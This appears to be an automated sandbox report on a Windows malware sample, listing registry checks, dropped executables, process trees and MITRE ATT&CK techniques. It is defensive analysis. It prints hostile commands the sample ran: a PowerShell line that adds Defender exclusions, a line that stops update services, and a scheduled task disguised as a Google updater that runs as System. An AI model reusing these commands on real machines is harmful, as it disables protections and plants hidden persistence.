djvu | e85172898e1439bc95876cd84f60ac685bd13ee9de2bda81f497807e7f7822b3

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	B7CC.exe

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	B7CC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	B7CC.exe

Deletes itself 1 IoCs

pid	Process
1200	Process not Found

Executes dropped EXE 7 IoCs

pid	Process
2768	B423.exe
2696	B7CC.exe
2808	B423.exe
2456	CCB3.exe
1908	B423.exe
1520	B423.exe
2072	EFC0.exe

Loads dropped DLL 6 IoCs

pid	Process
2768	B423.exe
1200	Process not Found
2808	B423.exe
2808	B423.exe
1856	regsvr32.exe
1908	B423.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2864	icacls.exe

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x0013000000015caf-24.dat	themida
behavioral1/memory/2696-57-0x00000000002D0000-0x0000000000A86000-memory.dmp	themida
behavioral1/memory/2696-397-0x00000000002D0000-0x0000000000A86000-memory.dmp	themida

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2084844033-2744876406-2053742436-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\cea7898b-ac89-4c44-baec-b3275fe4f73a\\B423.exe\" --AutoStart"	B423.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	B7CC.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	api.2ip.ua
16	api.2ip.ua
21	api.2ip.ua

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2696	B7CC.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2768 set thread context of 2808	2768	B423.exe	30
PID 1908 set thread context of 1520	1908	B423.exe	38

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2600	sc.exe
2296	sc.exe
2928	sc.exe
2656	sc.exe
2488	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	e85172898e1439bc95876cd84f60ac685bd13ee9de2bda81f497807e7f7822b3.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	e85172898e1439bc95876cd84f60ac685bd13ee9de2bda81f497807e7f7822b3.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	e85172898e1439bc95876cd84f60ac685bd13ee9de2bda81f497807e7f7822b3.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2428	schtasks.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2196	e85172898e1439bc95876cd84f60ac685bd13ee9de2bda81f497807e7f7822b3.exe
2196	e85172898e1439bc95876cd84f60ac685bd13ee9de2bda81f497807e7f7822b3.exe
1200	Process not Found
1200	Process not Found
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Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1200	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2196	e85172898e1439bc95876cd84f60ac685bd13ee9de2bda81f497807e7f7822b3.exe

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 1200 wrote to memory of 2768	1200	Process not Found	28
PID 1200 wrote to memory of 2768	1200	Process not Found	28
PID 1200 wrote to memory of 2768	1200	Process not Found	28
PID 1200 wrote to memory of 2768	1200	Process not Found	28
PID 1200 wrote to memory of 2696	1200	Process not Found	29
PID 1200 wrote to memory of 2696	1200	Process not Found	29
PID 1200 wrote to memory of 2696	1200	Process not Found	29
PID 1200 wrote to memory of 2696	1200	Process not Found	29
PID 2768 wrote to memory of 2808	2768	B423.exe	30
PID 2768 wrote to memory of 2808	2768	B423.exe	30
PID 2768 wrote to memory of 2808	2768	B423.exe	30
PID 2768 wrote to memory of 2808	2768	B423.exe	30
PID 2768 wrote to memory of 2808	2768	B423.exe	30
PID 2768 wrote to memory of 2808	2768	B423.exe	30
PID 2768 wrote to memory of 2808	2768	B423.exe	30
PID 2768 wrote to memory of 2808	2768	B423.exe	30
PID 2768 wrote to memory of 2808	2768	B423.exe	30
PID 2768 wrote to memory of 2808	2768	B423.exe	30
PID 2768 wrote to memory of 2808	2768	B423.exe	30
PID 2808 wrote to memory of 2864	2808	B423.exe	33
PID 2808 wrote to memory of 2864	2808	B423.exe	33
PID 2808 wrote to memory of 2864	2808	B423.exe	33
PID 2808 wrote to memory of 2864	2808	B423.exe	33
PID 1200 wrote to memory of 2456	1200	Process not Found	34
PID 1200 wrote to memory of 2456	1200	Process not Found	34
PID 1200 wrote to memory of 2456	1200	Process not Found	34
PID 1200 wrote to memory of 2460	1200	Process not Found	35
PID 1200 wrote to memory of 2460	1200	Process not Found	35
PID 1200 wrote to memory of 2460	1200	Process not Found	35
PID 1200 wrote to memory of 2460	1200	Process not Found	35
PID 1200 wrote to memory of 2460	1200	Process not Found	35
PID 2460 wrote to memory of 1856	2460	regsvr32.exe	36
PID 2460 wrote to memory of 1856	2460	regsvr32.exe	36
PID 2460 wrote to memory of 1856	2460	regsvr32.exe	36
PID 2460 wrote to memory of 1856	2460	regsvr32.exe	36
PID 2460 wrote to memory of 1856	2460	regsvr32.exe	36
PID 2460 wrote to memory of 1856	2460	regsvr32.exe	36
PID 2460 wrote to memory of 1856	2460	regsvr32.exe	36
PID 2808 wrote to memory of 1908	2808	B423.exe	37
PID 2808 wrote to memory of 1908	2808	B423.exe	37
PID 2808 wrote to memory of 1908	2808	B423.exe	37
PID 2808 wrote to memory of 1908	2808	B423.exe	37
PID 1908 wrote to memory of 1520	1908	B423.exe	38
PID 1908 wrote to memory of 1520	1908	B423.exe	38
PID 1908 wrote to memory of 1520	1908	B423.exe	38
PID 1908 wrote to memory of 1520	1908	B423.exe	38
PID 1908 wrote to memory of 1520	1908	B423.exe	38
PID 1908 wrote to memory of 1520	1908	B423.exe	38
PID 1908 wrote to memory of 1520	1908	B423.exe	38
PID 1908 wrote to memory of 1520	1908	B423.exe	38
PID 1908 wrote to memory of 1520	1908	B423.exe	38
PID 1908 wrote to memory of 1520	1908	B423.exe	38
PID 1908 wrote to memory of 1520	1908	B423.exe	38
PID 1200 wrote to memory of 2072	1200	Process not Found	41
PID 1200 wrote to memory of 2072	1200	Process not Found	41
PID 1200 wrote to memory of 2072	1200	Process not Found	41
PID 1200 wrote to memory of 2072	1200	Process not Found	41
PID 2456 wrote to memory of 1992	2456	CCB3.exe	42
PID 2456 wrote to memory of 1992	2456	CCB3.exe	42
PID 2456 wrote to memory of 1992	2456	CCB3.exe	42
PID 2456 wrote to memory of 1992	2456	CCB3.exe	42

C:\Users\Admin\AppData\Local\Temp\e85172898e1439bc95876cd84f60ac685bd13ee9de2bda81f497807e7f7822b3.exe
"C:\Users\Admin\AppData\Local\Temp\e85172898e1439bc95876cd84f60ac685bd13ee9de2bda81f497807e7f7822b3.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2196

C:\Users\Admin\AppData\Local\Temp\B423.exe
C:\Users\Admin\AppData\Local\Temp\B423.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Users\Admin\AppData\Local\Temp\B423.exe
  C:\Users\Admin\AppData\Local\Temp\B423.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\cea7898b-ac89-4c44-baec-b3275fe4f73a" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:2864
- - C:\Users\Admin\AppData\Local\Temp\B423.exe
    "C:\Users\Admin\AppData\Local\Temp\B423.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:1908
  - - C:\Users\Admin\AppData\Local\Temp\B423.exe
      "C:\Users\Admin\AppData\Local\Temp\B423.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      PID:1520
    - - C:\Users\Admin\AppData\Local\c1f6a986-0d4c-4ad9-943a-c1c3142927a2\build2.exe
        
        "C:\Users\Admin\AppData\Local\c1f6a986-0d4c-4ad9-943a-c1c3142927a2\build2.exe"
        5⤵
        
        PID:744
    - - C:\Users\Admin\AppData\Local\c1f6a986-0d4c-4ad9-943a-c1c3142927a2\build3.exe
        
        "C:\Users\Admin\AppData\Local\c1f6a986-0d4c-4ad9-943a-c1c3142927a2\build3.exe"
        5⤵
        
        PID:2644

C:\Users\Admin\AppData\Local\Temp\B7CC.exe
C:\Users\Admin\AppData\Local\Temp\B7CC.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2696
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  PID:2216

C:\Users\Admin\AppData\Local\Temp\CCB3.exe
C:\Users\Admin\AppData\Local\Temp\CCB3.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2456
- C:\Program Files (x86)\Adobe\Reader 9.0\Reader\A3DUtility.exe
  "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\A3DUtility.exe"
  2⤵
  PID:1992

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\CFEF.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:2460
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\CFEF.dll
  2⤵
  - Loads dropped DLL
  PID:1856

C:\Users\Admin\AppData\Local\Temp\EFC0.exe
C:\Users\Admin\AppData\Local\Temp\EFC0.exe
1⤵
- Executes dropped EXE
PID:2072
- C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
  "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
  2⤵
  PID:1564
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    PID:3056
- C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe
  "C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe"
  2⤵
  PID:1476
- C:\Users\Admin\AppData\Local\Temp\kos2.exe
  "C:\Users\Admin\AppData\Local\Temp\kos2.exe"
  2⤵
  PID:1680
- - C:\Users\Admin\AppData\Local\Temp\set16.exe
    "C:\Users\Admin\AppData\Local\Temp\set16.exe"
    3⤵
    PID:1592
  - - C:\Users\Admin\AppData\Local\Temp\is-TGG71.tmp\is-N1GI3.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-TGG71.tmp\is-N1GI3.tmp" /SL4 $401FC "C:\Users\Admin\AppData\Local\Temp\set16.exe" 1281875 52224
      4⤵
      PID:2968
    - - C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" helpmsg 20
        5⤵
        
        PID:456
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 helpmsg 20
        6⤵
        
        PID:1680
    - - C:\Program Files (x86)\MyBurn\MyBurn.exe
        
        "C:\Program Files (x86)\MyBurn\MyBurn.exe" -i
        5⤵
        
        PID:1764
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /Query
        5⤵
        
        PID:932
    - - C:\Program Files (x86)\MyBurn\MyBurn.exe
        
        "C:\Program Files (x86)\MyBurn\MyBurn.exe" -s
        5⤵
        
        PID:2400
- - C:\Users\Admin\AppData\Local\Temp\K.exe
    "C:\Users\Admin\AppData\Local\Temp\K.exe"
    3⤵
    PID:1456
- C:\Users\Admin\AppData\Local\Temp\latestX.exe
  "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
  2⤵
  PID:2540

C:\Users\Admin\AppData\Local\Temp\B3C.exe
C:\Users\Admin\AppData\Local\Temp\B3C.exe
1⤵
PID:1544

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1696

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1676

C:\Users\Admin\AppData\Local\c1f6a986-0d4c-4ad9-943a-c1c3142927a2\build2.exe
"C:\Users\Admin\AppData\Local\c1f6a986-0d4c-4ad9-943a-c1c3142927a2\build2.exe"
1⤵
PID:2736

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:736

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:1656
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2296
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2928
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2656
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:2488
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:2600

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
1⤵
PID:976
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
  2⤵
  - Creates scheduled task(s)
  PID:2428

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:2700
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:2996
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:2324
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:1748
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2460

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:240

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery